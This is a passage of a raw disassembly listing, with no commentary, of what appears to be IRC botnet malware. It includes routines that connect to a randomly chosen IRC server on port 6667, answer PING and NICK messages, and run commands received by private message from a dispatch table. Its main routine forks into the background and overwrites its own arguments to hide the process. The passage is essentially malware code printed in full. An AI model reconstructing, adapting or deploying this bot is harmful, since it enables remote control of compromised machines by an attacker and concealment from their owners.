  1242. 08049d36: jmp    0x08049dac <_PRIVMSG+0x48c>
  1243. 08049d38: mov    -0xc(%ebp),%eax
  1244. 08049d3b: mov    0x804c280(,%eax,8),%edx
  1245. 08049d42: lea    -0x44c(%ebp),%eax
  1246. 08049d48: mov    %eax,0x4(%esp)
  1247. 08049d4c: mov    %edx,(%esp)
  1248. 08049d4f: call   0x08048bf4 <strcasecmp@plt>
  1249. 08049d54: test   %eax,%eax
  1250. 08049d56: jne    0x08049da8 <_PRIVMSG+0x488>
  1251. 08049d58: mov    -0xc(%ebp),%eax
  1252. 08049d5b: mov    0x804c284(,%eax,8),%ecx
  1253. 08049d62: mov    -0x10(%ebp),%edx
  1254. 08049d65: sub    $0x1,%edx
  1255. 08049d68: lea    -0x4c(%ebp),%eax
  1256. 08049d6b: mov    %eax,0xc(%esp)
  1257. 08049d6f: mov    %edx,0x8(%esp)
  1258. 08049d73: mov    0xc(%ebp),%eax
  1259. 08049d76: mov    %eax,0x4(%esp)
  1260. 08049d7a: mov    0x8(%ebp),%eax
  1261. 08049d7d: mov    %eax,(%esp)
  1262. 08049d80: call   *%ecx
  1263. 08049d82: movl   $0x1,-0x1c(%ebp)
  1264. 08049d89: jmp    0x08049d9e <_PRIVMSG+0x47e>
  1265. 08049d8b: mov    -0x1c(%ebp),%eax
  1266. 08049d8e: mov    -0x4c(%ebp,%eax,4),%eax
  1267. 08049d92: mov    %eax,(%esp)
  1268. 08049d95: call   0x08048d04 <free@plt>
  1269. 08049d9a: addl   $0x1,-0x1c(%ebp)
  1270. 08049d9e: mov    -0x1c(%ebp),%eax
  1271. 08049da1: cmp    -0x10(%ebp),%eax
  1272. 08049da4: jl     0x08049d8b <_PRIVMSG+0x46b>
  1273. 08049da6: jmp    0x08049dbe <_PRIVMSG+0x49e>
  1274. 08049da8: addl   $0x1,-0xc(%ebp)
  1275. 08049dac: mov    -0xc(%ebp),%eax
  1276. 08049daf: mov    0x804c280(,%eax,8),%eax
  1277. 08049db6: test   %eax,%eax
  1278. 08049db8: jne    0x08049d38 <_PRIVMSG+0x418>
  1279. 08049dbe: add    $0x864,%esp
  1280. 08049dc4: pop    %ebx
  1281. 08049dc5: pop    %ebp
  1282. 08049dc6: ret    
  1283. 08049dc7: mov    %esi,%esi
  1284. 08049dc9: lea    0x0(%edi),%edi
  1285.  
  1286. # 08049dd0 <_376>:
  1287. 08049dd0: push   %ebp
  1288. 08049dd1: mov    %esp,%ebp
  1289. 08049dd3: sub    $0x18,%esp
  1290. 08049dd6: mov    0x804c764,%eax
  1291. 08049ddb: mov    %eax,0x8(%esp)
  1292. 08049ddf: movl   $0x804af30,0x4(%esp)
  1293. 08049de7: mov    0x8(%ebp),%eax
  1294. 08049dea: mov    %eax,(%esp)
  1295. 08049ded: call   0x08048fc0 <send_msg>
  1296. 08049df2: mov    0x804c880,%eax
  1297. 08049df7: mov    0x804c9a0,%edx
  1298. 08049dfd: mov    %eax,0xc(%esp)
  1299. 08049e01: mov    %edx,0x8(%esp)
  1300. 08049e05: movl   $0x804af3d,0x4(%esp)
  1301. 08049e0d: mov    0x8(%ebp),%eax
  1302. 08049e10: mov    %eax,(%esp)
  1303. 08049e13: call   0x08048fc0 <send_msg>
  1304. 08049e18: mov    0x804c764,%eax
  1305. 08049e1d: mov    %eax,0x8(%esp)
  1306. 08049e21: movl   $0x804af4a,0x4(%esp)
  1307. 08049e29: mov    0x8(%ebp),%eax
  1308. 08049e2c: mov    %eax,(%esp)
  1309. 08049e2f: call   0x08048fc0 <send_msg>
  1310. 08049e34: leave  
  1311. 08049e35: ret    
  1312. 08049e36: lea    0x0(%esi),%esi
  1313. 08049e39: lea    0x0(%edi),%edi
  1314.  
  1315. # 08049e40 <_PING>:
  1316. 08049e40: push   %ebp
  1317. 08049e41: mov    %esp,%ebp
  1318. 08049e43: sub    $0x18,%esp
  1319. 08049e46: mov    0x10(%ebp),%eax
  1320. 08049e49: mov    %eax,0x8(%esp)
  1321. 08049e4d: movl   $0x804af52,0x4(%esp)
  1322. 08049e55: mov    0x8(%ebp),%eax
  1323. 08049e58: mov    %eax,(%esp)
  1324. 08049e5b: call   0x08048fc0 <send_msg>
  1325. 08049e60: leave  
  1326. 08049e61: ret    
  1327. 08049e62: lea    0x0(%esi),%esi
  1328. 08049e69: lea    0x0(%edi),%edi
  1329.  
  1330. # 08049e70 <_352>:
  1331. 08049e70: push   %ebp
  1332. 08049e71: mov    %esp,%ebp
  1333. 08049e73: push   %ebx
  1334. 08049e74: sub    $0x34,%esp
  1335. 08049e77: mov    0x10(%ebp),%eax
  1336. 08049e7a: mov    %eax,-0xc(%ebp)
  1337. 08049e7d: movl   $0x0,-0x14(%ebp)
  1338. 08049e84: movl   $0x0,-0x10(%ebp)
  1339. 08049e8b: jmp    0x08049ecf <_352+0x5f>
  1340. 08049e8d: addl   $0x1,-0xc(%ebp)
  1341. 08049e91: addl   $0x1,-0x14(%ebp)
  1342. 08049e95: mov    -0x14(%ebp),%ebx
  1343. 08049e98: mov    0x10(%ebp),%eax
  1344. 08049e9b: mov    %eax,(%esp)
  1345. 08049e9e: call   0x08048b84 <strlen@plt>
  1346. 08049ea3: cmp    %eax,%ebx
  1347. 08049ea5: jae    0x08049eb1 <_352+0x41>
  1348. 08049ea7: mov    -0xc(%ebp),%eax
  1349. 08049eaa: movzbl (%eax),%eax
  1350. 08049ead: cmp    $0x20,%al
  1351. 08049eaf: jne    0x08049e8d <_352+0x1d>
  1352. 08049eb1: addl   $0x1,-0xc(%ebp)
  1353. 08049eb5: mov    -0x14(%ebp),%ebx
  1354. 08049eb8: mov    0x10(%ebp),%eax
  1355. 08049ebb: mov    %eax,(%esp)
  1356. 08049ebe: call   0x08048b84 <strlen@plt>
  1357. 08049ec3: cmp    %eax,%ebx
  1358. 08049ec5: je     0x0804a077 <_352+0x207>
  1359. 08049ecb: addl   $0x1,-0x10(%ebp)
  1360. 08049ecf: cmpl   $0x4,-0x10(%ebp)
  1361. 08049ed3: jle    0x08049e95 <_352+0x25>
  1362. 08049ed5: movl   $0x0,-0x14(%ebp)
  1363. 08049edc: jmp    0x08049ee2 <_352+0x72>
  1364. 08049ede: addl   $0x1,-0x14(%ebp)
  1365. 08049ee2: mov    -0x14(%ebp),%ebx
  1366. 08049ee5: mov    -0xc(%ebp),%eax
  1367. 08049ee8: mov    %eax,(%esp)
  1368. 08049eeb: call   0x08048b84 <strlen@plt>
  1369. 08049ef0: cmp    %eax,%ebx
  1370. 08049ef2: jae    0x08049f01 <_352+0x91>
  1371. 08049ef4: mov    -0x14(%ebp),%eax
  1372. 08049ef7: add    -0xc(%ebp),%eax
  1373. 08049efa: movzbl (%eax),%eax
  1374. 08049efd: cmp    $0x20,%al
  1375. 08049eff: jne    0x08049ede <_352+0x6e>
  1376. 08049f01: mov    -0x14(%ebp),%eax
  1377. 08049f04: add    -0xc(%ebp),%eax
  1378. 08049f07: movb   $0x0,(%eax)
  1379. 08049f0a: mov    0x804c764,%eax
  1380. 08049f0f: mov    %eax,0x4(%esp)
  1381. 08049f13: mov    -0xc(%ebp),%eax
  1382. 08049f16: mov    %eax,(%esp)
  1383. 08049f19: call   0x08048bf4 <strcasecmp@plt>
  1384. 08049f1e: test   %eax,%eax
  1385. 08049f20: jne    0x0804a077 <_352+0x207>
  1386. 08049f26: mov    0x804c328,%eax
  1387. 08049f2b: test   %eax,%eax
  1388. 08049f2d: jne    0x0804a077 <_352+0x207>
  1389. 08049f33: mov    0x10(%ebp),%eax
  1390. 08049f36: mov    %eax,-0xc(%ebp)
  1391. 08049f39: movl   $0x0,-0x14(%ebp)
  1392. 08049f40: movl   $0x0,-0x10(%ebp)
  1393. 08049f47: jmp    0x08049f8b <_352+0x11b>
  1394. 08049f49: addl   $0x1,-0xc(%ebp)
  1395. 08049f4d: addl   $0x1,-0x14(%ebp)
  1396. 08049f51: mov    -0x14(%ebp),%ebx
  1397. 08049f54: mov    0x10(%ebp),%eax
  1398. 08049f57: mov    %eax,(%esp)
  1399. 08049f5a: call   0x08048b84 <strlen@plt>
  1400. 08049f5f: cmp    %eax,%ebx
  1401. 08049f61: jae    0x08049f6d <_352+0xfd>
  1402. 08049f63: mov    -0xc(%ebp),%eax
  1403. 08049f66: movzbl (%eax),%eax
  1404. 08049f69: cmp    $0x20,%al
  1405. 08049f6b: jne    0x08049f49 <_352+0xd9>
  1406. 08049f6d: addl   $0x1,-0xc(%ebp)
  1407. 08049f71: mov    -0x14(%ebp),%ebx
  1408. 08049f74: mov    0x10(%ebp),%eax
  1409. 08049f77: mov    %eax,(%esp)
  1410. 08049f7a: call   0x08048b84 <strlen@plt>
  1411. 08049f7f: cmp    %eax,%ebx
  1412. 08049f81: je     0x0804a077 <_352+0x207>
  1413. 08049f87: addl   $0x1,-0x10(%ebp)
  1414. 08049f8b: cmpl   $0x2,-0x10(%ebp)
  1415. 08049f8f: jle    0x08049f51 <_352+0xe1>
  1416. 08049f91: movl   $0x0,-0x14(%ebp)
  1417. 08049f98: jmp    0x08049f9e <_352+0x12e>
  1418. 08049f9a: addl   $0x1,-0x14(%ebp)
  1419. 08049f9e: mov    -0x14(%ebp),%ebx
  1420. 08049fa1: mov    -0xc(%ebp),%eax
  1421. 08049fa4: mov    %eax,(%esp)
  1422. 08049fa7: call   0x08048b84 <strlen@plt>
  1423. 08049fac: cmp    %eax,%ebx
  1424. 08049fae: jae    0x08049fbd <_352+0x14d>
  1425. 08049fb0: mov    -0x14(%ebp),%eax
  1426. 08049fb3: add    -0xc(%ebp),%eax
  1427. 08049fb6: movzbl (%eax),%eax
  1428. 08049fb9: cmp    $0x20,%al
  1429. 08049fbb: jne    0x08049f9a <_352+0x12a>
  1430. 08049fbd: mov    -0x14(%ebp),%eax
  1431. 08049fc0: add    -0xc(%ebp),%eax
  1432. 08049fc3: movb   $0x0,(%eax)
  1433. 08049fc6: mov    -0xc(%ebp),%eax
  1434. 08049fc9: mov    %eax,(%esp)
  1435. 08049fcc: call   0x08048a94 <__inet_addr@plt>
  1436. 08049fd1: mov    %eax,-0x18(%ebp)
  1437. 08049fd4: mov    -0x18(%ebp),%eax
  1438. 08049fd7: cmp    $0xffffffff,%eax
  1439. 08049fda: jne    0x0804a02f <_352+0x1bf>
  1440. 08049fdc: mov    -0xc(%ebp),%eax
  1441. 08049fdf: mov    %eax,(%esp)
  1442. 08049fe2: call   0x08048c14 <gethostbyname@plt>
  1443. 08049fe7: mov    %eax,-0x8(%ebp)
  1444. 08049fea: cmpl   $0x0,-0x8(%ebp)
  1445. 08049fee: jne    0x0804a00c <_352+0x19c>
  1446. 08049ff0: mov    0xc(%ebp),%eax
  1447. 08049ff3: mov    %eax,0x8(%esp)
  1448. 08049ff7: movl   $0x804af5c,0x4(%esp)
  1449. 08049fff: mov    0x8(%ebp),%eax
  1450. 0804a002: mov    %eax,(%esp)
  1451. 0804a005: call   0x08048fc0 <send_msg>
  1452. 0804a00a: jmp    0x0804a077 <_352+0x207>
  1453. 0804a00c: mov    -0x8(%ebp),%eax
  1454. 0804a00f: mov    0xc(%eax),%eax
  1455. 0804a012: mov    %eax,%edx
  1456. 0804a014: mov    -0x8(%ebp),%eax
  1457. 0804a017: mov    0x10(%eax),%eax
  1458. 0804a01a: mov    (%eax),%eax
  1459. 0804a01c: mov    %edx,0x8(%esp)
  1460. 0804a020: mov    %eax,0x4(%esp)
  1461. 0804a024: lea    -0x18(%ebp),%eax
  1462. 0804a027: mov    %eax,(%esp)
  1463. 0804a02a: call   0x08048c64 <memcpy@plt>
  1464. 0804a02f: mov    $0x804c324,%eax
  1465. 0804a034: lea    0x3(%eax),%edx
  1466. 0804a037: lea    -0x18(%ebp),%eax
  1467. 0804a03a: movzbl (%eax),%eax
  1468. 0804a03d: mov    %al,(%edx)
  1469. 0804a03f: mov    $0x804c324,%eax
  1470. 0804a044: lea    0x2(%eax),%edx
  1471. 0804a047: lea    -0x18(%ebp),%eax
  1472. 0804a04a: add    $0x1,%eax
  1473. 0804a04d: movzbl (%eax),%eax
  1474. 0804a050: mov    %al,(%edx)
  1475. 0804a052: mov    $0x804c324,%eax
  1476. 0804a057: lea    0x1(%eax),%edx
  1477. 0804a05a: lea    -0x18(%ebp),%eax
  1478. 0804a05d: add    $0x2,%eax
  1479. 0804a060: movzbl (%eax),%eax
  1480. 0804a063: mov    %al,(%edx)
  1481. 0804a065: mov    $0x804c324,%eax
  1482. 0804a06a: movb   $0x0,(%eax)
  1483. 0804a06d: movl   $0x100,0x804c328
  1484. 0804a077: add    $0x34,%esp
  1485. 0804a07a: pop    %ebx
  1486. 0804a07b: pop    %ebp
  1487. 0804a07c: ret    
  1488. 0804a07d: lea    0x0(%esi),%esi
  1489.  
  1490. # 0804a080 <_433>:
  1491. 0804a080: push   %ebp
  1492. 0804a081: mov    %esp,%ebp
  1493. 0804a083: sub    $0x8,%esp
  1494. 0804a086: mov    0x804c764,%eax
  1495. 0804a08b: mov    %eax,(%esp)
  1496. 0804a08e: call   0x08048d04 <free@plt>
  1497. 0804a093: call   0x08049120 <makestring>
  1498. 0804a098: mov    %eax,0x804c764
  1499. 0804a09d: leave  
  1500. 0804a09e: ret    
  1501. 0804a09f: nop    
  1502.  
  1503. # 0804a0a0 <_NICK>:
  1504. 0804a0a0: push   %ebp
  1505. 0804a0a1: mov    %esp,%ebp
  1506. 0804a0a3: push   %ebx
  1507. 0804a0a4: sub    $0x24,%esp
  1508. 0804a0a7: movl   $0x0,-0x8(%ebp)
  1509. 0804a0ae: jmp    0x0804a0b4 <_NICK+0x14>
  1510. 0804a0b0: addl   $0x1,-0x8(%ebp)
  1511. 0804a0b4: mov    -0x8(%ebp),%ebx
  1512. 0804a0b7: mov    0xc(%ebp),%eax
  1513. 0804a0ba: mov    %eax,(%esp)
  1514. 0804a0bd: call   0x08048b84 <strlen@plt>
  1515. 0804a0c2: cmp    %eax,%ebx
  1516. 0804a0c4: jae    0x0804a0d3 <_NICK+0x33>
  1517. 0804a0c6: mov    -0x8(%ebp),%eax
  1518. 0804a0c9: add    0xc(%ebp),%eax
  1519. 0804a0cc: movzbl (%eax),%eax
  1520. 0804a0cf: cmp    $0x21,%al
  1521. 0804a0d1: jne    0x0804a0b0 <_NICK+0x10>
  1522. 0804a0d3: mov    -0x8(%ebp),%eax
  1523. 0804a0d6: add    0xc(%ebp),%eax
  1524. 0804a0d9: movb   $0x0,(%eax)
  1525. 0804a0dc: mov    0x804c764,%eax
  1526. 0804a0e1: mov    %eax,0x4(%esp)
  1527. 0804a0e5: mov    0xc(%ebp),%eax
  1528. 0804a0e8: mov    %eax,(%esp)
  1529. 0804a0eb: call   0x08048bf4 <strcasecmp@plt>
  1530. 0804a0f0: test   %eax,%eax
  1531. 0804a0f2: jne    0x0804a128 <_NICK+0x88>
  1532. 0804a0f4: mov    0x10(%ebp),%eax
  1533. 0804a0f7: movzbl (%eax),%eax
  1534. 0804a0fa: cmp    $0x3a,%al
  1535. 0804a0fc: jne    0x0804a102 <_NICK+0x62>
  1536. 0804a0fe: addl   $0x1,0x10(%ebp)
  1537. 0804a102: mov    0x804c764,%eax
  1538. 0804a107: test   %eax,%eax
  1539. 0804a109: je     0x0804a118 <_NICK+0x78>
  1540. 0804a10b: mov    0x804c764,%eax
  1541. 0804a110: mov    %eax,(%esp)
  1542. 0804a113: call   0x08048d04 <free@plt>
  1543. 0804a118: mov    0x10(%ebp),%eax
  1544. 0804a11b: mov    %eax,(%esp)
  1545. 0804a11e: call   0x08048b34 <strdup@plt>
  1546. 0804a123: mov    %eax,0x804c764
  1547. 0804a128: add    $0x24,%esp
  1548. 0804a12b: pop    %ebx
  1549. 0804a12c: pop    %ebp
  1550. 0804a12d: ret    
  1551. 0804a12e: xchg   %ax,%ax
  1552.  
  1553. # 0804a130 <con>:
  1554. 0804a130: push   %ebp
  1555. 0804a131: mov    %esp,%ebp
  1556. 0804a133: sub    $0x38,%esp
  1557. 0804a136: movl   $0xffffffff,0x804c760
  1558. 0804a140: movl   $0x1,-0x20(%ebp)
  1559. 0804a147: mov    0x804c320,%eax
  1560. 0804a14c: test   %eax,%eax
  1561. 0804a14e: jne    0x0804a173 <con+0x43>
  1562. 0804a150: call   0x08048b14 <rand@plt>
  1563. 0804a155: mov    %eax,%edx
  1564. 0804a157: mov    0x804c260,%eax
  1565. 0804a15c: mov    %eax,%ecx
  1566. 0804a15e: mov    %edx,%eax
  1567. 0804a160: sar    $0x1f,%edx
  1568. 0804a163: idiv   %ecx
  1569. 0804a165: mov    %edx,%eax
  1570. 0804a167: mov    0x804c264(,%eax,4),%eax
  1571. 0804a16e: mov    %eax,0x804c888
  1572. 0804a173: movl   $0x0,0x804c320
  1573. 0804a17d: movl   $0x6,0x8(%esp)
  1574. 0804a185: movl   $0x1,0x4(%esp)
  1575. 0804a18d: movl   $0x2,(%esp)
  1576. 0804a194: call   0x08048ae4 <socket@plt>
  1577. 0804a199: mov    %eax,0x804c760
  1578. 0804a19e: mov    0x804c760,%eax
  1579. 0804a1a3: test   %eax,%eax
  1580. 0804a1a5: js     0x0804a17d <con+0x4d>
  1581. 0804a1a7: mov    0x804c888,%eax
  1582. 0804a1ac: mov    %eax,(%esp)
  1583. 0804a1af: call   0x08048a94 <__inet_addr@plt>
  1584. 0804a1b4: test   %eax,%eax
  1585. 0804a1b6: je     0x0804a1ca <con+0x9a>
  1586. 0804a1b8: mov    0x804c888,%eax
  1587. 0804a1bd: mov    %eax,(%esp)
  1588. 0804a1c0: call   0x08048a94 <__inet_addr@plt>
  1589. 0804a1c5: cmp    $0xffffffff,%eax
  1590. 0804a1c8: jne    0x0804a224 <con+0xf4>
  1591. 0804a1ca: mov    0x804c888,%eax
  1592. 0804a1cf: mov    %eax,(%esp)
  1593. 0804a1d2: call   0x08048c14 <gethostbyname@plt>
  1594. 0804a1d7: mov    %eax,-0x4(%ebp)
  1595. 0804a1da: cmpl   $0x0,-0x4(%ebp)
  1596. 0804a1de: jne    0x0804a1fc <con+0xcc>
  1597. 0804a1e0: movl   $0x0,0x804c888
  1598. 0804a1ea: mov    0x804c760,%eax
  1599. 0804a1ef: mov    %eax,(%esp)
  1600. 0804a1f2: call   0x08048b54 <close@plt>
  1601. 0804a1f7: jmp    0x0804a136 <con+0x6>
  1602. 0804a1fc: mov    -0x4(%ebp),%eax
  1603. 0804a1ff: mov    0xc(%eax),%eax
  1604. 0804a202: mov    %eax,%edx
  1605. 0804a204: mov    -0x4(%ebp),%eax
  1606. 0804a207: mov    0x10(%eax),%eax
  1607. 0804a20a: mov    (%eax),%ecx
  1608. 0804a20c: mov    %edx,0x8(%esp)
  1609. 0804a210: lea    -0x1c(%ebp),%eax
  1610. 0804a213: add    $0x4,%eax
  1611. 0804a216: mov    %eax,0x4(%esp)
  1612. 0804a21a: mov    %ecx,(%esp)
  1613. 0804a21d: call   0x08048c44 <bcopy@plt>
  1614. 0804a222: jmp    0x0804a234 <con+0x104>
  1615. 0804a224: mov    0x804c888,%eax
  1616. 0804a229: mov    %eax,(%esp)
  1617. 0804a22c: call   0x08048a94 <__inet_addr@plt>
  1618. 0804a231: mov    %eax,-0x18(%ebp)
  1619. 0804a234: movb   $0x2,-0x1b(%ebp)
  1620. 0804a238: movw   $0xb1a,-0x1a(%ebp)
  1621. 0804a23e: mov    0x804c760,%eax
  1622. 0804a243: lea    -0x20(%ebp),%edx
  1623. 0804a246: mov    %edx,0x8(%esp)
  1624. 0804a24a: movl   $0x8004667e,0x4(%esp)
  1625. 0804a252: mov    %eax,(%esp)
  1626. 0804a255: call   0x08048c04 <ioctl@plt>
  1627. 0804a25a: movl   $0x0,(%esp)
  1628. 0804a261: call   0x08048be4 <time@plt>
  1629. 0804a266: mov    %eax,-0x8(%ebp)
  1630. 0804a269: jmp    0x0804a357 <con+0x227>
  1631. 0804a26e: call   0x08048c34 <__error@plt>
  1632. 0804a273: movl   $0x0,(%eax)
  1633. 0804a279: lea    -0x1c(%ebp),%eax
  1634. 0804a27c: mov    0x804c760,%edx
  1635. 0804a282: movl   $0x10,0x8(%esp)
  1636. 0804a28a: mov    %eax,0x4(%esp)
  1637. 0804a28e: mov    %edx,(%esp)
  1638. 0804a291: call   0x08048af4 <connect@plt>
  1639. 0804a296: test   %eax,%eax
  1640. 0804a298: je     0x0804a2aa <con+0x17a>
  1641. 0804a29a: call   0x08048c34 <__error@plt>
  1642. 0804a29f: mov    (%eax),%eax
  1643. 0804a2a1: cmp    $0x38,%eax
  1644. 0804a2a4: jne    0x0804a333 <con+0x203>
  1645. 0804a2aa: mov    0x804c760,%eax
  1646. 0804a2af: movl   $0x0,0x10(%esp)
  1647. 0804a2b7: movl   $0x0,0xc(%esp)
  1648. 0804a2bf: movl   $0x80,0x8(%esp)
  1649. 0804a2c7: movl   $0xffff,0x4(%esp)
  1650. 0804a2cf: mov    %eax,(%esp)
  1651. 0804a2d2: call   0x08048b94 <setsockopt@plt>
  1652. 0804a2d7: mov    0x804c760,%eax
  1653. 0804a2dc: movl   $0x0,0x10(%esp)
  1654. 0804a2e4: movl   $0x0,0xc(%esp)
  1655. 0804a2ec: movl   $0x4,0x8(%esp)
  1656. 0804a2f4: movl   $0xffff,0x4(%esp)
  1657. 0804a2fc: mov    %eax,(%esp)
  1658. 0804a2ff: call   0x08048b94 <setsockopt@plt>
  1659. 0804a304: mov    0x804c760,%eax
  1660. 0804a309: movl   $0x0,0x10(%esp)
  1661. 0804a311: movl   $0x0,0xc(%esp)
  1662. 0804a319: movl   $0x8,0x8(%esp)
  1663. 0804a321: movl   $0xffff,0x4(%esp)
  1664. 0804a329: mov    %eax,(%esp)
  1665. 0804a32c: call   0x08048b94 <setsockopt@plt>
  1666. 0804a331: jmp    0x0804a38b <con+0x25b>
  1667. 0804a333: call   0x08048c34 <__error@plt>
  1668. 0804a338: mov    (%eax),%eax
  1669. 0804a33a: cmp    $0x24,%eax
  1670. 0804a33d: je     0x0804a34b <con+0x21b>
  1671. 0804a33f: call   0x08048c34 <__error@plt>
  1672. 0804a344: mov    (%eax),%eax
  1673. 0804a346: cmp    $0x25,%eax
  1674. 0804a349: jne    0x0804a36f <con+0x23f>
  1675. 0804a34b: movl   $0x1,(%esp)
  1676. 0804a352: call   0x08048c54 <sleep@plt>
  1677. 0804a357: movl   $0x0,(%esp)
  1678. 0804a35e: call   0x08048be4 <time@plt>
  1679. 0804a363: sub    -0x8(%ebp),%eax
  1680. 0804a366: cmp    $0x9,%eax
  1681. 0804a369: jbe    0x0804a26e <con+0x13e>
  1682. 0804a36f: movl   $0x0,0x804c888
  1683. 0804a379: mov    0x804c760,%eax
  1684. 0804a37e: mov    %eax,(%esp)
  1685. 0804a381: call   0x08048b54 <close@plt>
  1686. 0804a386: jmp    0x0804a136 <con+0x6>
  1687. 0804a38b: leave  
  1688. 0804a38c: ret    
  1689. 0804a38d: lea    0x0(%esi),%esi
  1690.  
  1691. # 0804a390 <lockfile>:
  1692. 0804a390: push   %ebp
  1693. 0804a391: mov    %esp,%ebp
  1694. 0804a393: sub    $0x28,%esp
  1695. 0804a396: movl   $0x1b6,0x8(%esp)
  1696. 0804a39e: movl   $0x202,0x4(%esp)
  1697. 0804a3a6: movl   $0x804afd7,(%esp)
  1698. 0804a3ad: call   0x08048a44 <open@plt>
  1699. 0804a3b2: mov    %eax,-0x8(%ebp)
  1700. 0804a3b5: movl   $0x6,0x4(%esp)
  1701. 0804a3bd: mov    -0x8(%ebp),%eax
  1702. 0804a3c0: mov    %eax,(%esp)
  1703. 0804a3c3: call   0x08048cd4 <flock@plt>
  1704. 0804a3c8: mov    %eax,-0x4(%ebp)
  1705. 0804a3cb: cmpl   $0x0,-0x4(%ebp)
  1706. 0804a3cf: je     0x0804a3f5 <lockfile+0x65>
  1707. 0804a3d1: call   0x08048c34 <__error@plt>
  1708. 0804a3d6: mov    (%eax),%eax
  1709. 0804a3d8: cmp    $0x23,%eax
  1710. 0804a3db: jne    0x0804a3f5 <lockfile+0x65>
  1711. 0804a3dd: movl   $0x804afe4,(%esp)
  1712. 0804a3e4: call   0x08048aa4 <printf@plt>
  1713. 0804a3e9: movl   $0x0,(%esp)
  1714. 0804a3f0: call   0x08048cb4 <exit@plt>
  1715. 0804a3f5: leave  
  1716. 0804a3f6: ret    
  1717. 0804a3f7: mov    %esi,%esi
  1718. 0804a3f9: lea    0x0(%edi),%edi
  1719.  
  1720. # 0804a400 <main>:
  1721. 0804a400: lea    0x4(%esp),%ecx
  1722. 0804a404: and    $0xfffffff0,%esp
  1723. 0804a407: pushl  -0x4(%ecx)
  1724. 0804a40a: push   %ebp
  1725. 0804a40b: mov    %esp,%ebp
  1726. 0804a40d: push   %ebx
  1727. 0804a40e: push   %ecx
  1728. 0804a40f: sub    $0x19e0,%esp
  1729. 0804a415: mov    %ecx,-0x19cc(%ebp)
  1730. 0804a41b: call   0x0804a390 <lockfile>
  1731. 0804a420: call   0x08048a84 <fork@plt>
  1732. 0804a425: test   %eax,%eax
  1733. 0804a427: je     0x0804a435 <main+0x35>
  1734. 0804a429: movl   $0x0,(%esp)
  1735. 0804a430: call   0x08048cb4 <exit@plt>
  1736. 0804a435: mov    -0x19cc(%ebp),%edx
  1737. 0804a43b: mov    0x4(%edx),%eax
  1738. 0804a43e: mov    (%eax),%eax
  1739. 0804a440: mov    %eax,(%esp)
  1740. 0804a443: call   0x08048b84 <strlen@plt>
  1741. 0804a448: mov    %eax,%edx
  1742. 0804a44a: mov    -0x19cc(%ebp),%ecx
  1743. 0804a450: mov    0x4(%ecx),%eax
  1744. 0804a453: mov    (%eax),%eax
  1745. 0804a455: mov    %edx,0x8(%esp)
  1746. 0804a459: movl   $0x804affd,0x4(%esp)
  1747. 0804a461: mov    %eax,(%esp)
  1748. 0804a464: call   0x08048c24 <strncpy@plt>
  1749. 0804a469: movl   $0x1,-0x34(%ebp)
  1750. 0804a470: jmp    0x0804a4b6 <main+0xb6>
  1751. 0804a472: mov    -0x34(%ebp),%eax
  1752. 0804a475: shl    $0x2,%eax
  1753. 0804a478: mov    -0x19cc(%ebp),%edx
  1754. 0804a47e: add    0x4(%edx),%eax
  1755. 0804a481: mov    (%eax),%eax
  1756. 0804a483: mov    %eax,(%esp)
  1757. 0804a486: call   0x08048b84 <strlen@plt>
  1758. 0804a48b: mov    %eax,%edx
  1759. 0804a48d: mov    -0x34(%ebp),%eax
  1760. 0804a490: shl    $0x2,%eax
  1761. 0804a493: mov    -0x19cc(%ebp),%ecx
  1762. 0804a499: add    0x4(%ecx),%eax
  1763. 0804a49c: mov    (%eax),%eax
  1764. 0804a49e: mov    %edx,0x8(%esp)
  1765. 0804a4a2: movl   $0x0,0x4(%esp)
  1766. 0804a4aa: mov    %eax,(%esp)
  1767. 0804a4ad: call   0x08048c94 <memset@plt>
  1768. 0804a4b2: addl   $0x1,-0x34(%ebp)
  1769. 0804a4b6: mov    -0x34(%ebp),%eax
  1770. 0804a4b9: mov    -0x19cc(%ebp),%edx
  1771. 0804a4bf: cmp    (%edx),%eax
  1772. 0804a4c1: jl     0x0804a472 <main+0x72>
  1773. 0804a4c3: movl   $0x0,(%esp)
  1774. 0804a4ca: call   0x08048be4 <time@plt>
  1775. 0804a4cf: mov    %eax,%ebx
  1776. 0804a4d1: call   0x08048c84 <getpid@plt>
  1777. 0804a4d6: xor    %eax,%ebx
  1778. 0804a4d8: call   0x08048a34 <getppid@plt>
  1779. 0804a4dd: lea    (%ebx,%eax,1),%eax
  1780. 0804a4e0: mov    %eax,(%esp)
  1781. 0804a4e3: call   0x08048a74 <srand@plt>
  1782. 0804a4e8: call   0x08049120 <makestring>
  1783. 0804a4ed: mov    %eax,0x804c764
  1784. 0804a4f2: call   0x08049120 <makestring>
  1785. 0804a4f7: mov    %eax,0x804c76c
  1786. 0804a4fc: movl   $0x804b004,0x804c884
  1787. 0804a506: movl   $0x804b009,0x804c9a0
  1788. 0804a510: movl   $0x804b010,0x804c880
  1789. 0804a51a: movl   $0x0,0x804c888
  1790. 0804a524: call   0x0804a130 <con>
  1791. 0804a529: mov    0x804c884,%eax
  1792. 0804a52e: mov    0x804c76c,%edx
  1793. 0804a534: mov    0x804c764,%ecx
  1794. 0804a53a: mov    0x804c760,%ebx
  1795. 0804a540: mov    %eax,0x10(%esp)
  1796. 0804a544: mov    %edx,0xc(%esp)
  1797. 0804a548: mov    %ecx,0x8(%esp)
  1798. 0804a54c: movl   $0x804b014,0x4(%esp)
  1799. 0804a554: mov    %ebx,(%esp)
  1800. 0804a557: call   0x08048fc0 <send_msg>
  1801. 0804a55c: lea    -0x1bc(%ebp),%eax
  1802. 0804a562: mov    %eax,-0x20(%ebp)
  1803. 0804a565: movl   $0x20,-0x1c(%ebp)
  1804. 0804a56c: jmp    0x0804a57f <main+0x17f>
  1805. 0804a56e: subl   $0x1,-0x1c(%ebp)
  1806. 0804a572: mov    -0x1c(%ebp),%edx
  1807. 0804a575: mov    -0x20(%ebp),%eax
  1808. 0804a578: movl   $0x0,(%eax,%edx,4)
  1809. 0804a57f: cmpl   $0x0,-0x1c(%ebp)
  1810. 0804a583: jne    0x0804a56e <main+0x16e>
  1811. 0804a585: mov    0x804c760,%eax
  1812. 0804a58a: shr    $0x5,%eax
  1813. 0804a58d: mov    %eax,%ebx
  1814. 0804a58f: mov    -0x1bc(%ebp,%eax,4),%edx
  1815. 0804a596: mov    0x804c760,%eax
  1816. 0804a59b: mov    %eax,%ecx
  1817. 0804a59d: and    $0x1f,%ecx
  1818. 0804a5a0: mov    $0x1,%eax
  1819. 0804a5a5: shl    %cl,%eax
  1820. 0804a5a7: or     %edx,%eax
  1821. 0804a5a9: mov    %eax,-0x1bc(%ebp,%ebx,4)
  1822. 0804a5b0: movl   $0x4b0,-0x13c(%ebp)
